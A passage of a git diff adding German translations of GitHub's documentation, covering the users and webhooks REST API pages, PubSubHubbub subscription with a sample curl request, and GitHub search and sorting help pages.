+ms.openlocfilehash: 0781b20628b48b9ca5d411ead6f3ddf1bcd1c6d4
+ms.sourcegitcommit: 96bbb6b8f3c9172209d80cb1502017ace3019807
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '147879172'
+---
+## Informationen zur GPG-Schlüssel-API für Benutzer*innen
+
+Die im Antwortfeld `public_key` zurückgegebenen Daten sind kein GPG-formatierter Schlüssel. Wenn ein Benutzer einen GPG-Schlüssel hochlädt, wird dieser analysiert, und der kryptografische öffentliche Schlüssel wird extrahiert und gespeichert. Dieser kryptografische Schlüssel ist das, was von den APIs auf dieser Seite zurückgegeben wird. Dieser Schlüssel kann von Programmen wie GPG nicht direkt verwendet werden.
+
+{% data reusables.user-settings.user-api %}
diff --git a/translations/de-DE/content/rest/users/index.md b/translations/de-DE/content/rest/users/index.md
new file mode 100644
index 0000000000..179d28b6fe
--- /dev/null
+++ b/translations/de-DE/content/rest/users/index.md
@@ -0,0 +1,30 @@
+---
+title: Benutzer
+intro: 'Die Benutzer-API ermöglicht, öffentliche und private Informationen zum authentifizierten Benutzer abzurufen.'
+redirect_from:
+  - /v3/users
+  - /rest/reference/users
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+children:
+  - /users
+  - /blocking
+  - /emails
+  - /followers
+  - /gpg-keys
+  - /keys
+  - /ssh-signing-keys
+ms.openlocfilehash: c7b1e8fc2f15757f4c88ecad620a3db7809bcd7d
+ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: '147717660'
+---
+
diff --git a/translations/de-DE/content/rest/users/keys.md b/translations/de-DE/content/rest/users/keys.md
new file mode 100644
index 0000000000..907a99d9ca
--- /dev/null
+++ b/translations/de-DE/content/rest/users/keys.md
@@ -0,0 +1,22 @@
+---
+title: Git-SSH-Schlüssel
+intro: ''
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+allowTitleToDifferFromFilename: true
+ms.openlocfilehash: 108ea2f46acfd53bc25c59ed727a31a61109420e
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145106111'
+---
+## Informationen zur Git-SSH-Schlüssel-API für Benutzer*innen
+
+{% data reusables.user-settings.user-api %}
diff --git a/translations/de-DE/content/rest/users/ssh-signing-keys.md b/translations/de-DE/content/rest/users/ssh-signing-keys.md
new file mode 100644
index 0000000000..a67190b71d
--- /dev/null
+++ b/translations/de-DE/content/rest/users/ssh-signing-keys.md
@@ -0,0 +1,21 @@
+---
+title: SSH-Signaturschlüssel
+intro: ''
+versions:
+  fpt: '*'
+  ghes: '>=3.7'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+allowTitleToDifferFromFilename: true
+ms.openlocfilehash: c8b9b71cf14efdd119f759fa36f5baae8e7a9301
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148108374'
+---
+## Informationen zur SSH-Signaturschlüssel-API für Benutzer
+
+{% data reusables.user-settings.user-api %}
diff --git a/translations/de-DE/content/rest/users/users.md b/translations/de-DE/content/rest/users/users.md
new file mode 100644
index 0000000000..14c6d35dcb
--- /dev/null
+++ b/translations/de-DE/content/rest/users/users.md
@@ -0,0 +1,21 @@
+---
+title: Benutzer
+intro: 'Die Benutzer-API ermöglicht es, öffentliche und private Informationen zum authentifizierten Benutzer abzurufen.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+ms.openlocfilehash: d5206723dec2c849c4c550a1634ce18167da6b38
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147067506'
+---
+## Informationen zur Benutzer-API
+
+{% data reusables.user-settings.user-api %}
diff --git a/translations/de-DE/content/rest/webhooks/index.md b/translations/de-DE/content/rest/webhooks/index.md
new file mode 100644
index 0000000000..25d4dbe5e3
--- /dev/null
+++ b/translations/de-DE/content/rest/webhooks/index.md
@@ -0,0 +1,84 @@
+---
+title: webhooks
+intro: Mit der Webhooks-API kannst du Webhooks für deine Repositorys erstellen und verwalten.
+allowTitleToDifferFromFilename: true
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+children:
+  - /repo-config
+  - /repo-deliveries
+  - /repos
+redirect_from:
+  - /rest/reference/webhooks
+ms.openlocfilehash: 9216b892bbc19752266cea22d88bec655363ecaf
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '147882343'
+---
+Repositorywebhooks ermöglichen es dir, `POST`-HTTP-Nutzdaten zu empfangen, wenn bestimmte Ereignisse in einem Repository auftreten. {% data reusables.webhooks.webhooks-rest-api-links %}
+
+Wenn du einen einzelnen Webhook einrichten möchtest, um Ereignisse aus allen Repositorys deiner Organisation zu empfangen, findest du in der API-Dokumentation für [Organisationswebhooks](/rest/reference/orgs#webhooks) hilfreiche Informationen.
+
+Zusätzlich zur REST-API kann {% data variables.product.prodname_dotcom %} auch als [PubSubHubbub](#pubsubhubbub)-Hub für Repositorys fungieren.
+
+## Empfangen von Webhooknutzdaten
+
+Damit {% data variables.product.product_name %} Webhooknutzlasten senden kann, muss ein Zugriff auf deinen Server über das Internet möglich sein. Zudem wird dringend empfohlen, SSL zu verwenden, sodass verschlüsselte Nutzdaten über das HTTPS gesendet werden können.
+
+### Webhookheader
+
+{% data variables.product.product_name %} sendet mehrere HTTP-Header, um zwischen Ereignistypen und Nutzdatenbezeichnern zu unterscheiden. Details findest du unter [Webhookheader](/developers/webhooks-and-events/webhook-events-and-payloads#delivery-headers).
+
+## PubSubHubbub
+
+GitHub kann auch als [PubSubHubbub](https://github.com/pubsubhubbub/PubSubHubbub)-Hub für alle Repositorys fungieren. PSHB ist ein einfaches Veröffentlichungs- bzw. Abonnementprotokoll, mit dem Server registriert werden können, um im Falle einer Aktualisierung eines Themas Updates zu erhalten. Die Updates werden mit einer HTTP POST-Anforderung an eine Rückruf-URL gesendet.
+Themen-URLs für Pushvorgänge eines GitHub-Repositorys haben das folgende Format:
+
+`https://github.com/{owner}/{repo}/events/{event}`
+
+Das Ereignis kann ein beliebiges verfügbares Webhookereignis sein. Weitere Informationen findest du unter [Webhookereignisse und Nutzdaten](/developers/webhooks-and-events/webhook-events-and-payloads).
+
+### Antwortformat
+
+Das Standardformat ist das, was [vorhandene post-receive-Hooks erwarten sollten](/post-receive-hooks/): ein JSON-Textkörper, der als `payload`-Parameter in einer POST-Anforderung gesendet wird.  Du kannst auch angeben, dass der unformatierte JSON-Textkörper entweder mit einem `Accept`-Header oder einer `.json`-Erweiterung empfangen wird.
+
+    Accept: application/json
+    https://github.com/{owner}/{repo}/events/push.json
+
+### Rückruf-URLs
+
+Rückruf-URLs können das `http://`-Protokoll verwenden.
+
+    # Send updates to postbin.org
+    http://postbin.org/123
+
+### Abonnieren
+
+Der GitHub-PubSubHubbub-Endpunkt ist `{% data variables.product.api_url_code %}/hub`. Eine erfolgreiche Anforderung mit curl sieht wie folgt aus:
+
+``` shell
+curl -u "user" -i \
+  {% data variables.product.api_url_pre %}/hub \
+  -F "hub.mode=subscribe" \
+  -F "hub.topic=https://github.com/{owner}/{repo}/events/push" \
+  -F "hub.callback=http://postbin.org/123"
+```
+
+PubSubHubbub-Anforderungen können mehrmals gesendet werden. Wenn der Hook bereits vorhanden ist, wird er der Anforderung entsprechend geändert.
+
+#### Parameter
+
+Name | type | BESCHREIBUNG
+-----|------|--------------
+``hub.mode``|`string` | **Erforderlich**. Entweder `subscribe` oder `unsubscribe`
+``hub.topic``|`string` |**Erforderlich**.  Dies ist der URI des GitHub-Repositorys, das abonniert werden soll.  Der Pfad muss das Format `/{owner}/{repo}/events/{event}` aufweisen.
+``hub.callback``|`string` | Dies ist der URI zum Empfangen der Updates für das Thema.
+``hub.secret``|`string` | Dies ist ein freigegebener geheimer Schlüssel, der eine Hashsignatur des ausgehenden Textinhalts generiert.  Du kannst überprüfen, ob ein Push von GitHub stammt, indem du den unformatierten Anforderungstext mit dem Inhalt des {% ifversion fpt or ghes or ghec %}`X-Hub-Signature`- oder `X-Hub-Signature-256`-Headers{% elsif ghae %}`X-Hub-Signature-256`-Headers{% endif %} vergleichst. In der [PubSubHubbub-Dokumentation](https://pubsubhubbub.github.io/PubSubHubbub/pubsubhubbub-core-0.4.html#authednotify) findest du weitere Details.
diff --git a/translations/de-DE/content/rest/webhooks/repo-config.md b/translations/de-DE/content/rest/webhooks/repo-config.md
new file mode 100644
index 0000000000..1ce18e4688
--- /dev/null
+++ b/translations/de-DE/content/rest/webhooks/repo-config.md
@@ -0,0 +1,20 @@
+---
+title: Webhook-Konfiguration für Repositorys
+intro: ''
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+allowTitleToDifferFromFilename: true
+ms.openlocfilehash: 177126cebda7cd020d109107f920ef88b1c1278c
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147062794'
+---
+
diff --git a/translations/de-DE/content/rest/webhooks/repo-deliveries.md b/translations/de-DE/content/rest/webhooks/repo-deliveries.md
new file mode 100644
index 0000000000..9b93aeae06
--- /dev/null
+++ b/translations/de-DE/content/rest/webhooks/repo-deliveries.md
@@ -0,0 +1,20 @@
+---
+title: Repositorywebhookbereitstellungen
+intro: ''
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+allowTitleToDifferFromFilename: true
+ms.openlocfilehash: a3fdc76ab7b02c60cac519ec0a44e215dab122df
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147063122'
+---
+
diff --git a/translations/de-DE/content/rest/webhooks/repos.md b/translations/de-DE/content/rest/webhooks/repos.md
new file mode 100644
index 0000000000..ea0516d206
--- /dev/null
+++ b/translations/de-DE/content/rest/webhooks/repos.md
@@ -0,0 +1,20 @@
+---
+title: Repositorywebhooks
+intro: ''
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+allowTitleToDifferFromFilename: true
+ms.openlocfilehash: 85e0c2746416c5ba810b7729b06f1661d7319ec3
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147061881'
+---
+
diff --git a/translations/de-DE/content/search-github/getting-started-with-searching-on-github/about-searching-on-github.md b/translations/de-DE/content/search-github/getting-started-with-searching-on-github/about-searching-on-github.md
new file mode 100644
index 0000000000..86af4520c6
--- /dev/null
+++ b/translations/de-DE/content/search-github/getting-started-with-searching-on-github/about-searching-on-github.md
@@ -0,0 +1,95 @@
+---
+title: About searching on GitHub
+intro: 'Our integrated search covers the many repositories, users, and lines of code on {% data variables.product.product_name %}.'
+redirect_from:
+  - /articles/using-the-command-bar
+  - /articles/github-search-basics
+  - /articles/search-basics
+  - /articles/searching-github
+  - /articles/advanced-search
+  - /articles/about-searching-on-github
+  - /github/searching-for-information-on-github/about-searching-on-github
+  - /github/searching-for-information-on-github/getting-started-with-searching-on-github/about-searching-on-github
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - GitHub search
+---
+
+{% ifversion github-code-search %}
+  {% note %}
+
+  **Note:** {% data reusables.search.classic-search-code-search-note %}
+
+  {% endnote %}
+{% endif %}
+
+{% data reusables.search.you-can-search-globally %}
+
+- To search globally across all of {% data variables.product.product_name %}, type what you're looking for into the search field at the top of any page, and choose "All {% data variables.product.prodname_dotcom %}" in the search drop-down menu.
+- To search within a particular repository or organization, navigate to the repository or organization page, type what you're looking for into the search field at the top of the page, and press **Enter**.
+
+{% note %}
+
+**Notes:**
+
+{% ifversion fpt or ghes or ghec %}
+- {% data reusables.search.required_login %}{% endif %}
+- {% data variables.product.prodname_pages %} sites are not searchable on {% data variables.product.product_name %}. However you can search the source content if it exists in the default branch of a repository, using code search. For more information, see "[Searching code](/search-github/searching-on-github/searching-code)." For more information about {% data variables.product.prodname_pages %}, see "[What is GitHub Pages?](/articles/what-is-github-pages/)"
+- Currently our search doesn't support exact matching.
+- Whenever you are searching in code files, only the first two results in each file will be returned.
+
+{% endnote %}
+
+After running a search on {% data variables.product.product_name %}, you can sort the results, or further refine them by clicking one of the languages in the sidebar. For more information, see "[Sorting search results](/search-github/getting-started-with-searching-on-github/sorting-search-results)."
+
+{% data variables.product.product_name %} search uses an ElasticSearch cluster to index projects every time a change is pushed to {% data variables.product.product_name %}. Issues and pull requests are indexed when they are created or modified.
+
+## Types of searches on {% data variables.product.prodname_dotcom %}
+
+You can search for the following information across all repositories you can access on {% data variables.location.product_location %}.
+
+- [Repositories](/search-github/searching-on-github/searching-for-repositories)
+- [Topics](/search-github/searching-on-github/searching-topics)
+- [Issues and pull requests](/search-github/searching-on-github/searching-issues-and-pull-requests){% ifversion fpt or ghec %}
+- [Discussions](/search-github/searching-on-github/searching-discussions){% endif %}
+- [Code](/search-github/searching-on-github/searching-code)
+- [Commits](/search-github/searching-on-github/searching-commits)
+- [Users](/search-github/searching-on-github/searching-users)
+- [Packages](/search-github/searching-on-github/searching-for-packages)
+- [Wikis](/search-github/searching-on-github/searching-wikis)
+
+## Searching using a visual interface
+
+You can search {% data variables.product.product_name %} using the {% data variables.search.search_page_url %} or {% data variables.search.advanced_url %}. {% ifversion command-palette %}Alternatively, you can use the interactive search in the {% data variables.product.prodname_command_palette %} to search your current location in the UI, a specific user, repository or organization, and globally across all of {% data variables.product.product_name %}, without leaving the keyboard. For more information, see "[{% data variables.product.prodname_command_palette %}](/get-started/using-github/github-command-palette)."{% endif %}
+
+The {% data variables.search.advanced_url %} provides a visual interface for constructing search queries. You can filter your searches by a variety of factors, such as the number of stars or number of forks a repository has. As you fill in the advanced search fields, your query will automatically be constructed in the top search bar.
+
+![Advanced Search](/assets/images/help/search/advanced_search_demo.gif)
+
+## Searching repositories on {% data variables.product.prodname_dotcom_the_website %} from your private enterprise environment
+
+{% ifversion fpt or ghec %}
+
+If you use both {% data variables.product.prodname_dotcom_the_website %} and {% data variables.product.prodname_ghe_server %} or {% data variables.product.prodname_ghe_managed %}, and an enterprise owner has enabled {% data variables.enterprise.prodname_unified_search %}, you can search across both environments at the same time from {% data variables.product.prodname_ghe_server %} or {% data variables.product.prodname_ghe_managed %}. For more information, see [the {% data variables.product.prodname_ghe_server %} documentation](/enterprise-server@latest/search-github/getting-started-with-searching-on-github/about-searching-on-github#searching-repositories-on-githubcom-from-your-private-enterprise-environment) or [the {% data variables.product.prodname_ghe_managed %} documentation](/github-ae@latest/search-github/getting-started-with-searching-on-github/about-searching-on-github#searching-repositories-on-githubcom-from-your-private-enterprise-environment).
+
+{% else %}
+
+If you use both {% data variables.product.prodname_dotcom_the_website %} and {% data variables.product.product_name %}, and an enterprise owner has enabled {% data variables.enterprise.prodname_unified_search %}, you can search across both environments at the same time from {% data variables.product.product_name %}. For more information about how enterprise owners can enable {% data variables.enterprise.prodname_unified_search %}, see "[Enabling {% data variables.enterprise.prodname_unified_search %} for your enterprise](/admin/configuration/configuring-github-connect/enabling-unified-search-for-your-enterprise)."
+
+Your enterprise owner on {% data variables.product.product_name %} can separately enable {% data variables.enterprise.prodname_unified_search %} for all public repositories on {% data variables.product.prodname_dotcom_the_website %} and for private repositories owned by the organization or enterprise on {% data variables.product.prodname_dotcom_the_website %} that is connected to {% data variables.product.product_name %} through {% data variables.product.prodname_github_connect %}.
+
+Before you can use {% data variables.enterprise.prodname_unified_search %} for private repositories, you must connect your personal accounts on {% data variables.product.prodname_dotcom_the_website %} and {% data variables.product.product_name %}. For more information, see "[Enabling {% data variables.product.prodname_dotcom_the_website %} repository search from your private enterprise environment](/search-github/getting-started-with-searching-on-github/enabling-githubcom-repository-search-from-your-private-enterprise-environment)."
+
+When you search from {% data variables.product.product_name %}, only private repositories that you have access to and that are owned by the connected organization or enterprise account will be included in search results. Neither you nor anyone else will be able to search private repositories owned by your personal account on {% data variables.product.prodname_dotcom_the_website %} from {% data variables.product.product_name %}.
+
+To limit your search to one environment, you can use a filter option on the {% data variables.search.advanced_url %} or you can use the `environment:` search prefix. To only search for content on {% data variables.product.product_name %}, use the search syntax `environment:local`. To only search for content on {% data variables.product.prodname_dotcom_the_website %}, use `environment:github`.
+{% endif %}
+
+## Further reading
+
+- "[Understanding the search syntax](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax)"
+- "[Searching on GitHub](/articles/searching-on-github)"
diff --git a/translations/de-DE/content/search-github/getting-started-with-searching-on-github/enabling-githubcom-repository-search-from-your-private-enterprise-environment.md b/translations/de-DE/content/search-github/getting-started-with-searching-on-github/enabling-githubcom-repository-search-from-your-private-enterprise-environment.md
new file mode 100644
index 0000000000..2c6c969728
--- /dev/null
+++ b/translations/de-DE/content/search-github/getting-started-with-searching-on-github/enabling-githubcom-repository-search-from-your-private-enterprise-environment.md
@@ -0,0 +1,33 @@
+---
+title: Enabling GitHub.com repository search from your private enterprise environment
+shortTitle: Search GitHub.com from enterprise
+intro: 'You can connect your personal accounts on {% data variables.product.prodname_dotcom_the_website %} and your private {% data variables.product.prodname_enterprise %} environment to search for content in certain {% data variables.product.prodname_dotcom_the_website %} repositories{% ifversion fpt or ghec %} from your private environment{% else %} from {% data variables.product.product_name %}{% endif %}.'
+redirect_from:
+  - /articles/enabling-private-githubcom-repository-search-in-your-github-enterprise-account
+  - /articles/enabling-private-github-com-repository-search-in-your-github-enterprise-server-account
+  - /articles/enabling-private-githubcom-repository-search-in-your-github-enterprise-server-account
+  - /articles/enabling-githubcom-repository-search-in-github-enterprise-server
+  - /github/searching-for-information-on-github/enabling-githubcom-repository-search-in-github-enterprise-server
+  - /github/searching-for-information-on-github/getting-started-with-searching-on-github/enabling-githubcom-repository-search-in-github-enterprise-server
+versions:
+  ghes: '*'
+  ghae: '*'
+topics:
+  - GitHub search
+---
+
+## About search for {% data variables.product.prodname_dotcom_the_website %} repositories from {% data variables.product.product_name %}
+
+You can search for designated private repositories on {% data variables.product.prodname_ghe_cloud %} from {% data variables.location.product_location %}{% ifversion ghae %} on {% data variables.product.prodname_ghe_managed %}{% endif %}. For more information about searching across environments, see "[About searching on GitHub](/github/searching-for-information-on-github/getting-started-with-searching-on-github/about-searching-on-github#searching-repositories-on-githubcom-from-your-private-enterprise-environment)."
+
+## Prerequisites
+
+An enterprise owner for {% data variables.product.product_name %} must enable {% data variables.product.prodname_github_connect %} and {% data variables.enterprise.prodname_unified_search %} for private repositories. For more information, see "[Enabling {% data variables.enterprise.prodname_unified_search %} for your enterprise](/admin/configuration/configuring-github-connect/enabling-unified-search-for-your-enterprise)."
+
+## Enabling {% data variables.product.prodname_dotcom_the_website %} repository search from {% data variables.product.product_name %}
+
+1. Sign into {% data variables.product.product_name %} and {% data variables.product.prodname_dotcom_the_website %}.
+1. On {% data variables.product.product_name %}, in the upper-right corner of any page, click your profile photo, then click **Settings**.
+![Settings icon in the user bar](/assets/images/help/settings/userbar-account-settings.png)
+{% data reusables.github-connect.github-connect-tab-user-settings %}
+{% data reusables.github-connect.connect-dotcom-and-enterprise %}
diff --git a/translations/de-DE/content/search-github/getting-started-with-searching-on-github/index.md b/translations/de-DE/content/search-github/getting-started-with-searching-on-github/index.md
new file mode 100644
index 0000000000..1defd59fea
--- /dev/null
+++ b/translations/de-DE/content/search-github/getting-started-with-searching-on-github/index.md
@@ -0,0 +1,28 @@
+---
+title: Erste Schritte bei der Suche auf GitHub
+intro: 'Dir steht eine breite Syntaxpalette für das Durchsuchen von {% data variables.product.product_name %} zur Verfügung. Du kannst den Umfang deiner Suche anpassen, Abfragen erstellen und Probleme damit beheben und die Suchergebnisse mit Qualifizierern sortieren.'
+redirect_from:
+  - /articles/getting-started-with-searching-on-github
+  - /github/searching-for-information-on-github/getting-started-with-searching-on-github
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - GitHub search
+children:
+  - /about-searching-on-github
+  - /understanding-the-search-syntax
+  - /troubleshooting-search-queries
+  - /sorting-search-results
+  - /enabling-githubcom-repository-search-from-your-private-enterprise-environment
+shortTitle: Start with search on GitHub
+ms.openlocfilehash: 6d20355210975ad8dfad2c9b5c02b4eaed106239
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145106080'
+---
+
diff --git a/translations/de-DE/content/search-github/getting-started-with-searching-on-github/sorting-search-results.md b/translations/de-DE/content/search-github/getting-started-with-searching-on-github/sorting-search-results.md
new file mode 100644
index 0000000000..13f2bdf4ec
--- /dev/null
+++ b/translations/de-DE/content/search-github/getting-started-with-searching-on-github/sorting-search-results.md
@@ -0,0 +1,81 @@
+---
+title: Suchergebnisse sortieren
+intro: 'Du kannst [{% data variables.product.product_name %}-Suchergebnisse](/articles/searching-on-github) sortieren, indem du das Menü „Sortieren“ verwendest oder einen `sort`-Qualifizierer zu deiner Abfrage hinzufügst.'
+redirect_from:
+  - /articles/sorting-search-results
+  - /github/searching-for-information-on-github/sorting-search-results
+  - /github/searching-for-information-on-github/getting-started-with-searching-on-github/sorting-search-results
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - GitHub search
+ms.openlocfilehash: b2c01cdb1bc1df9d4ae4247886b1471211b2714b
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145106079'
+---
+Über das Sortiermenü kannst du die Ergebnisse nach Relevanz, Anzahl der Sterne, Anzahl der Forks und dem letzten Änderungsdatum sortieren.
+
+  ![Menü mit Optionen zum Sortieren der Suchergebnisse](/assets/images/help/search/repo-search-sort.png)
+
+Um nach Interaktionen, Reaktionen, Erstellungsdatum, Commitdatum und letztem Änderungsdatum zu sortieren, kannst du deiner Suchabfrage einen `sort`-Qualifizierer hinzufügen.
+
+## Nach Interaktionen sortieren
+
+Der Qualifizierer `sort:interactions` sortiert nach der höchsten kombinierten Anzahl von Reaktionen und Kommentaren.
+
+| Qualifizierer  | Beispiel
+| ------------- | -------------
+| `sort:interactions` oder `sort:interactions-desc` | [**org:github sort:interactions**](https://github.com/search?q=org%3Agithub+sort%3Ainteractions&type=Issues) sucht nach Issues in Repositorys im Besitz von {% data variables.product.product_name %}, sortiert nach der höchsten kombinierten Anzahl von Reaktionen und Kommentaren.
+| `sort:interactions-asc` | [**org:github sort:interactions-asc**](https://github.com/search?utf8=%E2%9C%93&q=org%3Agithub+sort%3Ainteractions-asc&type=Issues) sucht nach Issues in Repositorys im Besitz von {% data variables.product.product_name %}, sortiert nach der niedrigsten kombinierten Anzahl von Reaktionen und Kommentaren.
+
+## Nach Reaktionen sortieren
+
+Der Qualifizierer `sort:reactions` sortiert nach der Anzahl oder Art von Reaktionen.
+
+| Qualifizierer  | Beispiel
+| ------------- | -------------
+| `sort:reactions` oder `sort:reactions-desc` | [**org:github sort:reactions**](https://github.com/search?q=org%3Agithub+sort%3Areactions&type=Issues) sucht nach Issues in Repositorys im Besitz von {% data variables.product.product_name %}, sortiert nach der höchsten Anzahl von Reaktionen.
+| `sort:reactions-asc` | [**org:github sort:reactions-asc**](https://github.com/search?q=org%3Agithub+sort%3Areactions-asc&type=Issues) sucht nach Issues in Repositorys im Besitz von {% data variables.product.product_name %}, nach der Anzahl von Reaktionen absteigend sortiert (von den wenigsten zu den meisten).
+| <code>sort:reactions-<em>reaction</em></code> | [**org:github sort:reactions-+1**](https://github.com/search?q=org%3Agithub+sort%3Areactions-%2B1&type=Issues) sucht nach Issues in Repositorys im Besitz von {% data variables.product.product_name %}, sortiert nach den meisten „Daumen nach oben“-Reaktionen (:+1:).
+| | [**org:github sort:reactions--1**](https://github.com/search?utf8=%E2%9C%93&q=org%3Agithub+sort%3Areactions--1&type=Issues) sucht nach Issues in Repositorys im Besitz von {% data variables.product.product_name %}, sortiert nach den meisten „Daumen nach unten“-Reaktionen (:-1:).
+| | [**org:github sort:reactions-smile**](https://github.com/search?utf8=%E2%9C%93&q=org%3Agithub+sort%3Areactions-smile&type=Issues) sucht nach Issues in Repositorys im Besitz von {% data variables.product.product_name %}, sortiert nach den meisten „Lachen“-Reaktionen (:smile:).
+| | [**org:github sort:reactions-tada**](https://github.com/search?utf8=%E2%9C%93&q=org%3Agithub+sort%3Areactions-tada&type=Issues) sucht nach Issues in Repositorys im Besitz von {% data variables.product.product_name %}, sortiert nach den meisten „Hurra“-Reaktionen (:tada:).
+| | [**org:github sort:reactions-heart**](https://github.com/search?utf8=%E2%9C%93&q=org%3Agithub+sort%3Areactions-heart&type=Issues) sucht nach Issues in Repositorys im Besitz von {% data variables.product.product_name %}, sortiert nach den meisten „Herzchen“-Reaktionen (:heart:).
+
+## Nach Verfassungsdatum sortieren
+
+Der Qualifizierer `sort:author-date` sortiert absteigend oder aufsteigend nach Erstellungsdatum.
+
+| Qualifizierer  | Beispiel
+| ------------- | -------------
+| `sort:author-date` oder `sort:author-date-desc` | [**feature org:github sort:author-date**](https://github.com/search?utf8=%E2%9C%93&q=feature+org%3Agithub+sort%3Aauthor-date&type=Commits) sucht nach Commits mit dem Wort „feature“ in Repositorys im Besitz von {% data variables.product.product_name %}, absteigend sortiert nach Erstellungsdatum.
+| `sort:author-date-asc` | [**`feature org:github sort:author-date-asc`**](https://github.com/search?utf8=%E2%9C%93&q=feature+org%3Agithub+sort%3Aauthor-date-asc&type=Commits) sucht nach Commits mit dem Wort „feature“ in Repositorys im Besitz von {% data variables.product.product_name %}, aufsteigend sortiert nach Erstellungsdatum.
+
+## Nach Commit-Datum sortieren
+
+Der Qualifizierer `sort:committer-date` sortiert absteigend oder aufsteigend nach Commitdatum.
+
+| Qualifizierer  | Beispiel
+| ------------- | -------------
+| `sort:committer-date` oder `sort:committer-date-desc` | [**feature org:github sort:committer-date**](https://github.com/search?utf8=%E2%9C%93&q=feature+org%3Agithub+sort%3Acommitter-date&type=Commits) sucht nach Commits mit dem Wort „feature“ in Repositorys im Besitz von {% data variables.product.product_name %}, absteigend sortiert nach Commitdatum.
+| `sort:committer-date-asc` | [**`feature org:github sort:committer-date-asc`**](https://github.com/search?utf8=%E2%9C%93&q=feature+org%3Agithub+sort%3Acommitter-date-asc&type=Commits) sucht nach Commits mit dem Wort „feature“ in Repositorys im Besitz von {% data variables.product.product_name %}, aufsteigend sortiert nach Commitdatum.
+
+## Nach Änderungsdatum sortieren
+
+Der Qualifizierer `sort:updated` sortiert nach dem Aktualisierungsdatum der Elemente.
+
+| Qualifizierer  | Beispiel
+| ------------- | -------------
+| `sort:updated` oder `sort:updated-desc` | [**feature sort:updated**](https://github.com/search?utf8=%E2%9C%93&q=feature+sort%3Aupdated&type=Repositories) sucht nach Repositorys mit dem Wort „feature“, sortiert nach dem jüngsten Aktualisierungsdatum.
+| `sort:updated-asc` | [**feature sort:updated-asc**](https://github.com/search?utf8=%E2%9C%93&q=feature+sort%3Aupdated-asc&type=Repositories) sucht nach Repositorys mit dem Wort „feature“, sortiert nach dem ältesten Aktualisierungsdatum.
+
+## Weitere Informationsquellen
+
+- [Informationen zum Suchen auf {% data variables.product.prodname_dotcom %}](/search-github/getting-started-with-searching-on-github/about-searching-on-github)
+- [Filtern und Suchen von Issues und Pull Requests](/issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests)
diff --git a/translations/de-DE/content/search-github/getting-started-with-searching-on-github/troubleshooting-search-queries.md b/translations/de-DE/content/search-github/getting-started-with-searching-on-github/troubleshooting-search-queries.md
new file mode 100644
index 0000000000..dcbdf75b93
--- /dev/null
+++ b/translations/de-DE/content/search-github/getting-started-with-searching-on-github/troubleshooting-search-queries.md
@@ -0,0 +1,40 @@
+---
+title: Fehlerbehebung bei Suchabfragen
+intro: 'Wenn deine Suche auf {% data variables.product.product_name %} zu unerwarteten Ergebnissen führt, ziehe zur Behebung dieser Fehler unsere Informationen zu häufigen Problemen und Einschränkungen der Abfragelänge zu Rate.'
+redirect_from:
+  - /articles/troubleshooting-search-queries
+  - /github/searching-for-information-on-github/troubleshooting-search-queries
+  - /github/searching-for-information-on-github/getting-started-with-searching-on-github/troubleshooting-search-queries
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - GitHub search
